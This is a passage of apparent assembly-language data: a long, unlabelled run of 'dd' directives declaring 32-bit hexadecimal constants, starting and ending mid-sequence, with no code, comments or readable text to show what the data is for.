2E3C0AD0h, 0BA15E27Ah, 0DE1357B1h, 92CDAF0h dd 0C53F4Eh, 7BA7BBEDh, 0FF54A4C0h, 5B7ACA50h, 21B09F18h dd 5EEC51D0h, 6947C02Fh, 524F4177h, 174FDEB0h, 0AC5B219h dd 0FB694953h, 0B292FBF5h, 0C641C40Eh, 69F18C58h, 0E6B1B0CCh dd 0D2F3068Ah, 0E32C0B5Fh, 0D6957BB1h, 11E5AED3h, 1D79BE65h dd 62A013D5h, 0E819068Bh, 0B463389Ah, 6D217053h, 0E1C3972Dh dd 0DE1B558h, 0D61EA7CDh, 40CD4104h, 0DF1529AAh, 0D05719DFh dd 13599EE7h, 24968CE7h, 7D823327h, 58F578F0h, 0D3DFFADBh dd 598FCF89h, 8167B17Bh, 14BD071h, 1524F2A5h, 36262234h dd 0BAD75E77h, 0D25080DDh, 0D6FA29ECh, 0F25FCF1Dh, 694E1DB4h dd 3CAF2F36h, 0CF9FFAD2h, 682EE319h, 68436F09h, 66B2D60Ch dd 78362FE9h, 0EEC6635Bh, 5084888Eh, 0DF57E0DCh, 3BC15193h dd 3E306882h, 16F573FEh, 0A02C8DD7h, 3599AB6Fh, 0BA1AB31Ah dd 215C79C9h, 0BFF45204h, 663A9AB0h, 0E812F504h, 0F75307BCh dd 93AC85Dh, 68099DEDh, 65B49624h, 0D1291F27h, 3A3F4BF9h dd 4C82C730h, 4B2A6856h, 0B5553DECh, 0F337EE4Ah, 0BF28439Ah dd 98B1BE82h, 89F022A3h, 21B9B1F7h, 0E4AF469Eh, 0ABC29C51h dd 9876606Eh, 0A9CFFE9Dh, 0B597678Eh, 450CCDC6h, 528971F5h dd 5924FC74h, 0B008726h, 657A51ECh, 6FCED38Ch, 104BF9ECh dd 0B28AA3DDh, 8DCBE5EDh, 0D471EC83h, 347E88B1h, 6871EAB5h dd 0D12E97C3h, 3B1B1F03h, 60B86781h, 0BD7276B1h, 951E2E40h dd 6AFBF930h, 74272A21h, 55181990h, 9F1513C6h, 6F79B2AFh dd 20A0D159h, 9B9E62CDh, 3EFDD441h, 2E178F74h, 0E1661C74h dd 0F612D2DDh, 0CE0DD7B5h, 8C22147Dh, 5E0D6465h, 0CCDE985Ch dd 0F36DD952h, 8973E7B4h, 6B690D9Ah, 4E94FF74h, 0ADF7787Ch dd 8DEC44AEh, 6B5F4293h, 0BCA9DEDFh, 147E077Ch, 0A743DC3Bh dd 70BB9609h, 3FA73FCAh, 0C5898684h, 0D628BB3Ah, 5856D48Ah dd 117F0DE6h, 0A4D09A2Bh, 0FB51D35Ch, 0F7BD7EC9h, 0E0AEBB00h dd 0CF27BBF9h, 9A116E9h, 0F4C51E04h, 0E4E3E91Bh, 0E954D7E0h dd 885004DAh, 48176B68h, 0A35738E5h, 5F61B52h, 687A3CC5h dd 5E8BE728h, 33D241EDh, 6E96209Ch, 0B68ED2BAh, 33328DCEh dd 19E0EE52h, 0BE0E4ABCh, 8864447Bh, 0F220B68Ah, 7896529Ah dd 31F94775h, 7D7F832h, 4A3E1E39h, 0AFE17146h, 5173A6DFh dd 0AF04B409h, 808BBF36h, 2733FF63h, 46EDC1D3h, 67B083Fh dd 828B3B89h, 92DD52E7h, 0ADB0812Fh, 0CFC43B4h, 0D28829DAh dd 1109BC2Eh, 939F634Fh, 6D44882Eh, 9B1245E5h, 0B508B38Fh dd 97684CEBh, 0EA4F400Dh, 0FF14B2Dh, 0EDEFA4C8h, 87AA2682h dd 29273D32h, 74BE8F44h, 0EA6A490Ah, 39189FD3h, 0D84588Ah dd 0BC0A6A82h, 0B36BCEF0h, 7F343B50h, 9C6B6A3Eh, 0E54F7C28h dd 52C35930h, 0D2D8A711h, 0A777F7A9h, 0B770850Ah, 60856F1Eh dd 227F1507h, 724A9E8Fh, 2AB19C68h, 15452EA7h, 63FCFEA3h dd 0F9E6445Ah, 9958A972h, 0D63C61C6h, 92BA135Eh, 6BA6BB24h dd 4B79A3A7h, 5B0FE5C4h, 6ADEF78Ah, 0DE531D87h, 7D649A21h dd 147EFDF7h, 44A325D0h, 0A9973E48h, 0EBA6F300h, 3D953810h dd 0D8856F57h, 0FA3B93CEh, 0F87A1D5Bh, 63CFE4D0h, 61CE442Ah dd 5E0DA39Ch, 7EEB55Ah, 536513F4h, 572297B4h, 473D8120h dd 82E364C3h, 75E4BF28h, 0D7FDE37Fh, 1606C51Ah, 32312187h dd 54A1C3B3h, 0F3B5111Dh, 0E3552A58h, 834277Eh, 4B3508E3h dd 0ABDCE129h, 5DAA5C86h, 0A092EC52h, 0E2238271h, 83B50F9Eh dd 0D9AEDEF5h, 0DED20FB9h, 0C791307h, 52A8B087h, 77095438h dd 732311Eh, 310D5634h, 28962E32h, 0E731B61h, 0B3709760h dd 0D300B06Eh, 851CCE49h, 0E9EEE514h, 3A77BCD4h, 4D451E77h dd 0EA6A912h, 7C9E9861h, 1EBBA544h, 761D2253h, 380E3E06h dd 5D63BC74h, 0CDB0A177h, 711D65B9h, 4570F525h, 8500B8E8h dd 805E560Bh, 0F2385789h, 2527758Fh, 81E3BEE0h, 0B68C7080h dd 0D110E12Bh, 734A6BA7h, 0F6F4B9h, 28859E2Fh, 0D2A10F4Fh dd 3843B9C9h, 3CE4E421h, 5A26F3CBh, 43CA725h, 5C4CB415h dd 0CE62FAD0h, 15894882h, 7767AECBh, 95018707h, 0C44F7858h dd 0AA8812D0h, 0D2EB48BBh, 0E77D4BB3h, 97EDDBE4h, 0C656DFE9h dd 1791786Ch, 0D89D61CBh, 1901B3DDh, 4244EAE0h, 7198B225h dd 93DFF1F4h, 5A66AD9Ch, 0FD8CE36Dh, 9A9C43BFh, 3D27C9F5h dd 0ECCBEF5h, 0AD8029E6h, 61519AE7h, 630CFB12h, 0CDFA7465h dd 650604FBh, 6C82471Ah, 0BC1F00A0h, 0F27FF115h, 0F9EB4F83h dd 977B79E9h, 503FB0DDh, 7A9934C3h, 69496FBCh, 6CBDFCE4h dd 0E4D9691Fh, 33B957B6h, 60206B5Eh, 110607D1h, 0A36395A4h dd 2BBBF769h, 9A61E673h, 0CFCF189Eh, 0BEEDDB09h, 90626BE8h dd 73A5581Ah, 0BF391408h, 95AD1E82h, 79135EDEh, 0C1B011BEh dd 8D2B8376h, 688A0FA3h, 51D4171Ch, 0E7518075h, 0B43262FEh dd 0D7B48E0Bh, 0A93A576Fh, 1AE45D79h, 9CDBBCC9h, 0DE6F69D6h dd 0BFFEC8BDh, 59CA84E5h, 19B9430Ah, 2482FF0h, 231088E7h dd 0FB3D7C45h, 0F3D91647h, 4E604154h, 0B23884ADh, 0D7152B1h dd 0AD4B3FF9h, 0B1FA723Fh, 0DE51A33Eh, 52D8B14Dh, 8229DFC6h dd 0DD0D9F8h, 4C2D0241h, 78337404h, 329B34DAh, 39B954E0h dd 0A38EF66Bh, 27D7020h, 50B9EC2Bh, 585DA45Fh, 2EB865Ah dd 0CDCE191Bh, 9FB36B1Ch, 1FF8FDEEh, 0C5CBD9F4h, 723F358Fh dd 70061506h, 4659A4C4h, 0AF94DB4Ah, 55664066h, 0F8A9FDD6h dd 1140E933h, 5B93FEC8h, 0ED0D0764h, 0C11E57FEh, 0EAA2D13Fh dd 646B512Bh, 0BA8A1AEh, 57840h, 52ED123Dh, 0F954FF9Fh dd 2D287871h, 351CE911h, 4AAC4ADBh, 0F90F9A43h, 7B57420Fh dd 0F10BDFEh, 735E9323h, 0A8BDD5h, 85196339h, 0BA964D00h dd 77120FB4h, 0A9957E8Fh, 7C90C3DAh, 4A4583FBh, 1D87D819h dd 72A40BF5h, 0C75B88A2h, 91E558D1h, 45CE341Bh, 0D5682119h dd 5D14B358h, 7B751A4Bh, 3F8ED9FEh, 1582F6C1h, 0E1D3666h dd 3BE5B1ECh, 81808616h, 7591FD9h, 3F86241Ch, 8AF53BF8h dd 0D9ACC355h, 0FD3732ECh, 0AE2ADF23h, 0BC72A234h, 87F06534h dd 0DF0D1466h, 15773BA2h, 6EAE6A74h, 2690EDE1h, 8C8E7BB3h dd 6CF78548h, 222049Bh, 47BB2A01h, 82D7B211h, 0B45DA0BBh dd 0D5FB819Ah, 7B475C98h, 29E9F57Dh, 0F43E4634h, 10EC765Fh dd 0DF82D39Fh, 0D7D88AF8h dd 32313F8Eh, 4F04880Dh, 7FF476CEh, 105DC91Bh, 54E11C2Fh dd 43F9AE2Ch, 71A13FDFh, 51C45829h, 40A429E8h, 0EB3E6D20h dd 94F74595h, 0C640BC78h, 0FE76AAC0h, 47537B94h, 3AAC2176h dd 7E27D94Eh, 69C0F322h, 0FE3B42E5h, 6BEF1B6Ch, 8DB2FEB9h dd 0B3A514C1h, 0EFB055DFh, 6A1C7D0Ah, 0AF6ECCEDh, 0FD372EC3h dd 0F59FA249h, 3E274F51h, 4F62B084h, 0CDA7D7FBh, 0FE5C22BAh dd 0D784C28Ch, 11024A12h, 509E433h, 7817A38Bh, 51B92BE4h dd 0C9A6304Eh, 857BD32Bh, 5F92B3D9h, 7303407h, 7BD41F2Bh dd 74EA8E69h, 4397D591h, 0BC7B719Bh, 9C3A7792h, 4301A46h dd 4B13EF4Eh, 0AC7E5EFAh, 67BE6F0Bh, 0DFEF8808h, 3FE10CA3h dd 66F5229Bh, 0F30949A8h, 0CA3C840h, 395E375h, 2A93DD70h dd 2BB70DE5h, 2E68E5CDh, 0DFBFA26Ch, 0FB70E95Ch, 8A320753h dd 9D304F73h, 66419ACAh, 2BD6AF98h, 9FA3678Eh, 0A6295BA1h dd 0C237EBA8h, 267024C2h, 9684E31Ah, 0D285909Ch, 0C50C689Dh dd 0AD4CC79h, 3D768C30h, 0BE101E1Ah, 28663C29h, 722BA7F3h dd 0DB4D10FFh, 6D830CF8h, 0D3ADC790h, 0F76CECE0h, 74E77202h dd 0E269BD54h, 0B0B66ED6h, 70E6E92Eh, 0CBAB4AB0h, 0B341162Fh dd 8DFAC9D8h, 0B028EFB8h, 0FF01418Ah, 66D80CF5h, 80794AA8h dd 0DAA186A0h, 3EA0140Eh, 29BF0990h, 0F2B5545Dh, 68DF3231h dd 3384B7A9h, 0B18DF6CCh, 8199B009h, 51F66D46h, 0F2480256h dd 84DCA2FEh, 0A6C21D1Ah, 7CEDE74Dh, 438FE69Eh, 2DA88908h dd 20D528A6h, 0F7972990h, 5C709075h, 44EE9585h, 0E288BCE2h dd 0C88CB33Eh, 0F0F8CEAEh, 0B6ED5B0Eh, 674FD137h, 2299D076h dd 0DEEF1F11h, 481599D5h, 32312034h, 0E96A975Dh, 643BF1A1h dd 312609ACh, 666A5032h, 324CCAF3h, 8E14124Fh, 3423EC6Ah dd 0FF18C2CEh, 0C0F0E5A8h, 290C6ABFh, 4305EF29h, 1F261308h dd 4D8FA7AFh, 0DA41DF6Bh, 8CD674F1h, 780F7EC7h, 0F44E6763h dd 390C1A03h, 0C6DD2762h, 0C5F82AC9h, 0A68384CCh, 0C719CDB5h dd 24CA90DEh, 6EADEF46h, 0B49EB585h, 8106D98h, 0B9EDC174h dd 4AD3276Bh, 390A3066h, 7A0025D3h, 0CF75E2A8h, 59405185h dd 0BEA8528Ah, 1AC2C3C8h, 2C12418Dh, 0C7E8C727h, 0CC43BAD4h dd 13B507A0h, 753FA11Dh, 33C9EC2Eh, 0D32382AFh, 0FCD75514h dd 0A0D04B45h, 8558801Dh, 98244201h, 0C677DE80h, 63397548h dd 0B3D0392Fh, 0A98363FBh, 80981AF9h, 53A5EE24h, 92636AE2h dd 277D4F45h, 3BB43E5Ah, 8DB91123h, 0F5D9F6E3h, 380A7A29h dd 10CAADD9h, 26402565h, 0EF6C9877h, 0CA2B7D71h, 0CD6D65F4h dd 927B621Eh, 66D4CA0Fh, 0DA2F0F19h, 6890E0F7h, 7FFA831Fh dd 0C1550611h, 5B52BC85h, 0B810A312h, 0D18B2364h, 53C0C686h dd 0DECC5CD7h, 0F6605545h, 1CF62F09h, 0F577AD15h, 783362BBh dd 1E4D3231h, 843F6975h, 48953D5Ch, 60D932C7h, 0E0132204h dd 1F9343E3h, 6AC8D8EAh, 2FA044DAh, 0C561A8ACh, 93CEBE12h dd 429B2265h, 0E347610Ch, 34ECEF17h, 0F035B74Fh, 0A26C4239h dd 0BC400C18h, 0DDADF7FAh, 821AF322h, 0A3E623B2h, 56DE9D5Dh dd 0E8C63D1h, 7F61FC6Fh, 1EA70925h, 0B463913Fh, 3E6D9F09h dd 0B8CE97B3h, 1DF4CAE2h, 7A7A946Dh, 37E8BF8h, 7DFC3B0Bh dd 47732DC0h, 487C0994h, 0E75B71CFh, 8D367961h, 9652D133h dd 12654B3Bh, 0EE598962h, 3F159720h, 0ACA7B629h, 85E21D99h dd 677927A6h, 0FE412F37h, 52DA56F3h, 69D29523h, 0D84DDD38h dd 0FC9FEDA6h, 111FA854h, 18C742EFh, 0C467CA10h, 19445D25h dd 0C8E34688h, 0AAE4DDEDh, 1312CAF7h, 75807442h, 0F927F6A5h dd 1DEB2BC1h, 6122C6ACh, 0D5C460B2h, 0AFB9E94Ah, 98072170h dd 0D1C3C5DAh, 2586951Bh, 0A0A28052h, 0D242375Ch, 0F8D1882h dd 0A2E640B9h, 5CC2FB7Ah, 0FC619B23h, 8F231DCEh, 0D2285C62h dd 97E478F4h, 718906A2h, 0A95FBA23h, 0D4C18BB4h, 70300A20h dd 80CC6D6h, 0B82DB7ACh, 293E7770h, 669CBDC6h, 91CC2ACEh dd 87EF04h, 0A42A5471h, 0C37F2310h, 8345D579h, 0B267CFEFh dd 7D67911h, 403A3DA7h, 0F91BB2F4h, 31D57C66h, 0E44FBC32h dd 0C44C5105h, 0D7B1C701h, 0C4EA3E28h, 7A3E0F44h, 65FBB00Ch dd 5174A7AAh, 0DAA64206h, 18580A00h, 0DA262681h, 0C1B27A1Fh dd 0BE362196h, 24626468h, 6AD2399Eh, 402E512Ah, 135DDCF6h dd 0ECC48902h, 0D11E1899h, 0B28ECB0Bh, 70372E9Dh, 3CFA03B0h dd 0D41F4598h, 4D971EC7h, 0E96565C7h, 7236F1D9h, 0B967195Bh dd 71DA9485h, 98C62F34h, 0B5423D1Ah, 0A18EBBBDh, 87E1C50Bh dd 0DE3DBCCAh, 86FE401Fh, 0B7E70A47h, 4E5DBCFAh, 2D52362Ch dd 53420CCEh, 0C9EA2002h, 0B879661Ch, 1B77926Eh, 45A05602h dd 6A213E4Fh, 0A506AC69h, 8101D81Ch, 5A59C1C4h, 98BE1366h dd 0D5F3FB5Dh, 3A120E45h, 0D8B36EDh, 0A9BAE0A6h, 0CCBC0F14h dd 7DC06135h, 48033AC9h, 0B902906Bh, 53C0A53Fh, 50658210h dd 0CC248B4Dh, 9D5F685h, 323135EAh, 0A230C054h, 398F8F8Ch dd 0C4564A04h, 0C48B98CEh, 0B28354FAh, 0BE2C9C00h, 744AD538h dd 3231E360h, 74971A5Bh, 0DDE2C632h, 59C43DFCh, 0DDE63A0Eh dd 9999FB44h, 0E1B38A7Ch, 715E5285h, 3FCF9D34h, 0CC05C4B2h dd 1134F973h, 0F20E50F4h, 6A17917Dh, 8A76CEFEh, 7E44ED90h dd 0B9FCA96Dh, 0F2D81572h, 73F87BB6h, 51BE8ADEh, 1DF87401h dd 4821FE2Ch, 1DF53BC7h, 0C1FBC034h, 0E5B245AEh, 0C97757B2h dd 8E64F491h, 6ECF3AE8h, 8ECB0B96h, 2ED98E75h, 20FEC84Bh dd 0C13D7BD4h, 0BB8264Dh, 2F9E80A1h, 3D41C108h, 2A42D467h dd 4168E7EDh, 0D78F5F9Dh, 0FC0F58DEh, 95D20313h, 8B295504h dd 8BC20F15h, 9CB67E3Fh, 24363985h, 1222B5F6h, 3B61516h dd 14F570B4h, 4917F2B0h, 0B3E6AB00h, 7A8C5C51h, 983340C7h dd 0AD20B47Ah, 7AF6E7D4h, 0C0E510E6h, 0B6093231h, 0DD09BE93h dd 0C68CBC72h, 69A7617Eh, 0B9A060F2h, 0CDA41E60h, 19B6CF01h dd 0CF30737Eh, 628C328Dh, 1833FF0Fh, 6F51A0Eh, 1E3880DDh dd 7E360F23h, 0B6565B00h, 2BFE03C9h, 6C67137Fh, 8A97103Ch dd 3947FF3Eh, 4178A2C4h, 5F948AF6h, 0BC878C8Dh, 909CAC8Bh dd 8C72715Eh, 38A8857Eh, 7DCE0EF8h, 192D4313h, 1FD43C0Fh dd 0E948D21Bh, 0FC6FDD95h, 339B4FFDh, 3A5B0F7Fh, 0DAB376B9h dd 0C2688A40h, 0A38A712Bh, 76E11E5Bh, 2E197A8h, 0DB328560h dd 4568CEBCh, 5CFC548Ah, 16511800h, 0BA5FD18Ah, 6D951CDCh dd 67896743h, 0FA106A4Bh, 0FB902533h, 1F7F78D4h, 2FCC78DEh dd 0F3A12653h, 0DB02A2FBh, 153C01C0h, 0ED690E2Ch, 6E61400Ch dd 0E1A0EC55h, 3378270Ch, 8DD27225h, 0B6DB4DDFh, 1C393469h dd 2D66F367h, 7620A1DAh, 0FAE94FD0h, 0F289054Eh, 36E23891h dd 2018D3DCh, 0C2B8119Dh, 1803EACBh, 7FC1E71Ah, 87AAF586h dd 840CB6BFh, 9A723697h, 0C2220EA8h, 7B18CD4h, 4B72CCEBh dd 254DF09Ah, 7912E50Bh, 0B5542AB5h, 0B38F19C2h, 0ED0C59C3h dd 0FC300E59h, 712E9C71h, 0F51BC5EBh, 714276BBh, 30F49612h dd 3231D654h, 8E3CBE3Dh, 443B888Ch, 8D465984h, 0AE4F30A3h dd 0ED8BD34Fh, 0BCDAD0C1h, 322503E2h, 17F77AF9h, 0B1B74E4Fh dd 44352398h, 90D2ED74h, 0A4FE95DBh, 76B38992h, 3CD89B83h dd 0E3C63F92h, 556BC942h, 4BD0D4A9h, 8677DB23h, 128ED60Ah dd 3231BBA7h, 30B21589h, 2FE1F596h, 1058F879h, 0A12F70B6h dd 924372EBh, 38D2968Fh dd 0FE3DE517h, 0B5FE1117h, 0B6540940h, 8A8BF4AAh, 3AE0155Dh dd 78049144h, 0A544225Ah, 16DFDD97h, 643894B8h, 3DCCE53Eh dd 0ACD4EDBAh, 0AFA19027h, 8B761665h, 6C918A59h, 335CB4E0h dd 0D9CFB505h, 9C0ED965h, 573963A5h, 8F714649h, 279AB538h dd 0E0C728Ch, 5FA9CF97h, 0B566AFD8h, 16C84B43h, 9FC6ADA1h dd 10F9C92Ah, 57B6712Bh, 17EC5F48h, 0FAC8A4h, 38723A5Fh dd 0A1323160h, 0E371272Dh, 0A61055C0h, 0DE8D25C0h, 521380AFh dd 0DC50F8A2h, 0D0E050BAh, 3F15FFEBh, 0CF7DBC8Ch, 0BC654882h dd 0CE47A3D9h, 0D974BA71h, 97F511A2h, 5D88CE47h, 5521826Fh dd 426E0BCAh, 39A9C99Dh, 1EB1A36Dh, 9B5F21D4h, 1A4ADDFAh dd 8AFE471Ah, 810A44BAh, 88BCCB34h, 15877E66h, 0C5AE7EF9h dd 0A0F2E84Ah, 0D4934BEDh, 63A47759h, 1B04C127h, 8E590A81h dd 3B897DB4h, 0BCEC3F57h, 39184E49h, 0B29F4890h, 1ADD1C60h dd 54985BD2h, 24E21E1Bh, 98335B5Dh, 0E7CE62E7h, 7222B599h dd 27E03D46h, 0B7842034h, 8F7574AFh, 1A2543BBh, 265E8DB0h dd 9F515C64h, 1762A5D1h, 3F2B7E8Bh, 96F2355Fh, 70B11667h dd 48323143h, 0BE701535h, 8C8AC69Fh, 0FD6C39C5h, 7B6B701Dh dd 0D4D8C8E3h, 4F91334h, 9BA0001h, 0A155C252h, 0F83BF400h dd 73115EC8h, 0C7041FB7h, 1CDD1E33h, 0CC28BC01h, 10F52785h dd 0BE0ACA61h, 8E8679AEh, 0A024AF81h, 90938585h, 8BBDFD32h dd 403378BDh, 9FF018E2h, 2722A533h, 875B1B60h, 0A125789Bh dd 6F900A95h, 0F9ED72E3h, 9D0E6509h, 3A84EA3h, 64AE5441h dd 5454F928h, 5B33DF2Ah, 60BDC799h, 805EE6C9h, 0ED91DBE6h dd 0EC034BD1h, 0DB8ED564h, 0FC305808h, 0E58B1D5Ah, 0D25D7E07h dd 0D3106469h, 9B232177h, 0E86446CFh, 1233D452h, 3C36BC18h dd 0CFE16F49h, 7D214D57h, 0A86AAE29h, 0AD5C2C15h, 85BECBBh dd 0E2474DDh, 993B4565h, 0EA628C39h, 6E59E68Eh, 0C208C1EEh dd 23DF9B87h, 44AEC7D3h, 62B05EBBh, 6F09F30Dh, 7D02B37Eh dd 0C2EC2974h, 13D4D3EBh, 5E48C032h, 2A8311CCh, 0DCA6892Fh dd 0CC8F8FFBh, 6B94749Dh, 4FB2F0B9h, 551EFA5Dh, 26C98E57h dd 0BDFC551Ah, 0F93C72F0h, 0E62E4CE5h, 1488AFE6h, 0AABBD148h dd 36CF9898h, 21F72278h, 6AD72951h, 1F0534EDh, 0A5497CDFh dd 5A0E5656h, 96B49804h, 89E80204h, 0EEA24D58h, 0E7D3EAE6h dd 0BCF37B81h, 26386127h, 10ED3CB0h, 423E8DF1h, 0D1D55066h dd 0FC8FF92h, 0FB402011h, 0A1D46BFBh, 82146942h, 5B6848D1h dd 0D8282CF9h, 64BF735Eh, 9ABAEB45h, 0C83EE012h, 5F20CF46h dd 0C941E2ABh, 0C9EA577Fh, 7D9BBC9Ch, 8C8EFDA1h, 30A5D68Dh dd 63D664EEh, 0A2A9AB13h, 0CB5D1828h, 0EC3D334h, 0F8943424h dd 9DC63231h, 0AF263C12h, 5E2243AFh, 447DE9A8h, 4EE01CD8h dd 114C7D1Bh, 80F76F57h, 0DAED78A9h, 95261AB1h, 221D7EE5h dd 0C7AFFA9Fh, 87A8B3F3h, 21BD2682h, 0D3BEC92Dh, 0FCC6753Dh dd 2FE29ECCh, 0C24533DBh, 0CC93D211h, 4E03AB09h, 644DAF68h dd 0E7F43E16h, 0ECEF1EF3h, 0AC8A65C2h, 229AC7FBh, 29F183A1h dd 0EC8FCE74h, 61D4030Dh, 0BC343B20h, 74A8109Bh, 0A4B95640h dd 0CD6C3C37h, 3850D1C5h, 5E9C061Ch, 1B66D708h, 0B0AB4D2Fh dd 56985B7Bh, 59952B42h, 5FFE13C9h, 9B2AF263h, 56AFF363h dd 6E826013h, 32921FFh, 5E188197h, 0F848A912h, 0D899E39Fh dd 84C98C66h, 5885ED8Fh, 0FE95846h, 0E2943E27h, 0BA5AE83h dd 5898BD49h, 0B082531Eh, 0D301F320h, 479E0DEBh, 0EA7CD1B3h dd 0B0A852E9h, 965467C1h, 143F6255h, 0F46F005Bh, 45FAB882h dd 8E4656E3h, 0E4B5EC0Fh, 0FBA145A8h, 0A32FEF39h, 5C3720D9h dd 829FF01Ch, 92C0170Bh, 8F703F18h, 0FBFA1983h, 149B17A6h dd 157689ACh, 7D62A7CBh, 0DC8D1F32h, 600B159Ah, 7C63BD9Fh dd 0ABE5B4A0h, 0B280F173h, 0F3FC0B73h, 65064799h, 0F0C5A107h dd 0C08F8B57h, 9E36F76Eh, 3BE79A71h, 5E64AC4Ch, 3C7530E2h dd 12EB4EB4h, 95A9674Dh, 113F6C19h, 2591505Ah, 1FAC8659h dd 0C6278902h, 98938DA3h, 96E7EC47h, 702CB05Ah, 0A0B361ABh dd 9B73A07Eh, 147BEEE5h, 0F8534CF3h, 58EDEA26h, 1333EB94h dd 0F814F671h, 63713A38h, 0BE292929h, 9162D9D8h, 0BE15FF6Bh dd 62D9E32Fh, 1FC1D7ADh, 210FA43Ah, 1AE4FF36h, 9FBDA5F7h dd 7002AA06h, 1B6A4498h, 40F713FAh, 2B35EB8Ah, 815A222Bh dd 0DF45E89Fh, 1A4D9F8Ah, 77AC259Dh, 0B157BF4Fh, 0B60FDD8Eh dd 0FCDFE73Fh, 4686E4A3h, 566D2A1Ah, 1E2F9965h, 88D06B2Fh dd 0B5F8589Ah, 0F149AF7Dh, 0AB8F9A4Ah, 71950868h, 6B462B8Ch dd 0B5B28546h, 70121FAAh, 7F3D017Ch, 1EAAD4F8h, 9EFD3018h dd 0B1C2B369h, 1783A2EBh, 63A5295h, 1E7EC60Dh, 0A268EDB8h dd 1F946CD1h, 2191CF4Dh, 0DDC939B2h, 79B5FDh, 91D8DB8h dd 0FB99E45Dh, 3D1AC49Ah, 33C52140h, 4EA811A4h, 5846B3D8h dd 7FD2E5AFh, 7CE9F78Bh, 4D92387Dh, 0AFFE25A5h, 37D0BC50h dd 41DD96Bh, 0D1C3AB08h, 4E531CD9h, 76BD5BAh, 0DDCF4978h dd 0FE9EECBCh, 0F77BEB43h, 1574590Fh, 0DC46DCBAh, 1EC743C3h dd 5B4E7492h, 42E50857h, 690D3856h, 0EB389FBh, 50BFB20Ch dd 40CAB80Fh, 0EC7C6FE4h, 0EC3E712Eh, 27F7DF28h, 5647635h dd 7305C0B2h, 0E713B58Bh, 0EAC7A50h, 28AACEB7h, 0D007B198h dd 5A566B9Eh, 0CCC40708h, 14C52F41h, 41B2D2C0h, 61FB4139h dd 0DB14C8B9h, 3D42C71Eh, 0DC21498Eh, 0A21CAD1Ah, 7D28B2DFh dd 9069CACh, 0DF854735h, 7066B21Ah, 3CEBB6E2h, 0D222FE09h dd 414CC54Eh, 0CC49176Dh, 77DCD687h, 7BEA4605h, 0AC4B1A9Ch dd 37BCD2ACh, 95DAD6h, 9A0399E3h, 69DBE342h, 29ECA0D1h dd 6F3E550Dh, 9522F45Ah, 0CF076D7Dh, 0D464C60Bh, 5F3C7DADh dd 0C04A4915h, 5E63A8BEh, 0DBFC9D8h, 0D3957125h, 574A57Dh dd 81300019h, 8C6D6E79h, 0E563CA19h, 679D9F57h, 93424F6Ch dd 357425CBh, 0BCC901F8h, 0A9D01772h, 1095C4A8h, 8718A289h dd 209FF220h, 47210194h, 0ECE5AF73h, 0FB495162h, 0DB174303h dd 0AA9992E7h, 0DE3371B9h, 0AAFA6427h, 1A9B660Fh, 1DDAA13Ch dd 0F8C68BAAh, 1BDBAA98h, 75C07B5Dh, 0A0618210h, 6DA74F5Fh dd 0CDFD6EE1h, 59785CFAh, 0FD9704DFh, 60FA9085h, 0CDB1DA42h dd 3BE5183Fh, 0D17617EBh, 7EFCE8CBh, 415311A1h, 0C49E8559h dd 2C868063h, 9BDD7911h, 99E1E14h, 5F1F4DF9h, 3180D75Eh dd 5013BA32h, 2B42403Ah, 0DA5BD87Dh, 0A8BEC9E4h, 1F9F6CB0h dd 510EC6A5h, 2F4FE643h, 0D5A0F6F9h, 5D16F149h, 0B0877EE1h dd 0CB5115CFh, 99A134Ch, 8EE5DCB3h, 82451477h, 812B8AFEh dd 0A7400DC6h, 0FC14CE8Dh, 0EFDA014Bh, 0AF428C7Ah, 8CAE087Fh dd 64F5F7BCh, 0BCC09852h, 8448F4F3h, 38C39E9Eh, 0FE170F9h dd 6C764F0Eh, 622D287Ch, 93F6EED0h, 0CC4A47h, 77CF90F7h dd 84A020Fh, 0E33A7FFDh, 67DA6E38h, 0B7350A4Ah, 0D6B4FD98h dd 85E9CE04h, 9F6A0B5h, 0EE98B277h, 0DC3231E0h, 874313A3h dd 0D8F8156Fh, 93269F4Fh, 0F3FB061h, 6B0F63D0h, 37EAAE87h dd 0FFF95226h, 0D44D637Ch, 0B41B6210h, 0B6B7E6D1h, 0A9660257h dd 16F3E4D3h, 707948F8h, 36C88480h, 94F7B26Fh, 0A11F3231h dd 67F9DE38h, 0C5266886h, 80FED1D5h, 0C70E365Eh, 7DA3BFA3h dd 548FB40Ah, 0C926E7EAh, 6517C4Ch, 3E18B133h, 96B96C11h dd 6FDDA0D2h, 0BEBB0E74h dd 0B7CCA104h, 0CA9BF5E6h, 3C3A2203h, 9F689512h, 5B028915h dd 5839F9DFh, 0A5B029E5h, 0C7103303h, 0D460775Ch, 2162C5A6h dd 0A4FD3F83h, 0B35349ACh, 91F64832h, 0F97B622Eh, 0ECB9CD57h dd 0F88AB221h, 33A2F553h, 0DF22ACFFh, 0EE1EB930h, 5CA30585h dd 3D29F0A4h, 0ABEA2A50h, 7C02B33h, 8C73B2C9h, 0D95297AFh dd 90AE0B20h, 700382C2h, 0E72BCE0Fh, 11405045h, 6AD8058Eh dd 5EACEBE9h, 1BE0D082h, 844EB0C5h, 0CF8C3A56h, 0C2F82EADh dd 0AB3CA4F6h, 0F6CC902Ch, 7D41134Bh, 0D2F47CFFh, 4AB3BBC5h dd 0BD42BE92h, 8A0E8576h, 6EBB7311h, 0D2A472CAh, 0B367324Ah dd 98B8AFEEh, 9BA8FE99h, 4BCE8DB6h, 89505A70h, 4F7C8204h dd 0E6E8CCEAh, 7CEF441h, 6FD92E8Ch, 96F982Ah, 76F37787h dd 0DF288591h, 16055D85h, 58CD7972h, 82149784h, 2663397Fh dd 88EAB8E1h, 580862AAh, 0DD02A765h, 0A455966Eh, 47D95CF9h dd 5E140F1Fh, 0A015FCD0h, 0E671253Bh, 0A4AC5DEh, 3E5852F1h dd 6E3B810Dh, 80BC194Ch, 6F790004h, 8E486D69h, 1E9B0228h dd 2F104584h, 8FE8075Fh, 0CEF5FD4Fh, 0C35A4EE1h, 63DDDDF1h dd 3B25C6F1h, 4B4D4D44h, 6F832BB2h, 2C03528Ah, 0A65BEBCBh dd 818261DFh, 0A27AB89Ah, 4D9D866Ch, 996AC096h, 806E41DFh dd 0D6E52C11h, 9FA11BEFh, 8EDEB5DEh, 702AA639h, 18559B07h dd 2AEFF767h, 5A11494Ah, 0ED1F715Dh, 0E94D58CCh, 0E70212BFh dd 0CAE804A5h, 7117FFF8h, 95FDDE6Ch, 6AA050C5h, 0BCF28B6Ch dd 6C45FB3Bh, 0E0238420h, 78970781h, 0D1E4AA25h, 8CCCC373h dd 79571A75h, 512A551Ch, 0A1439315h, 0FDE7A5ADh, 1FC2E425h dd 0EE488EA5h, 5780DB5Ch, 4699126Ch, 5F616243h, 0E2AD1232h dd 534CB585h, 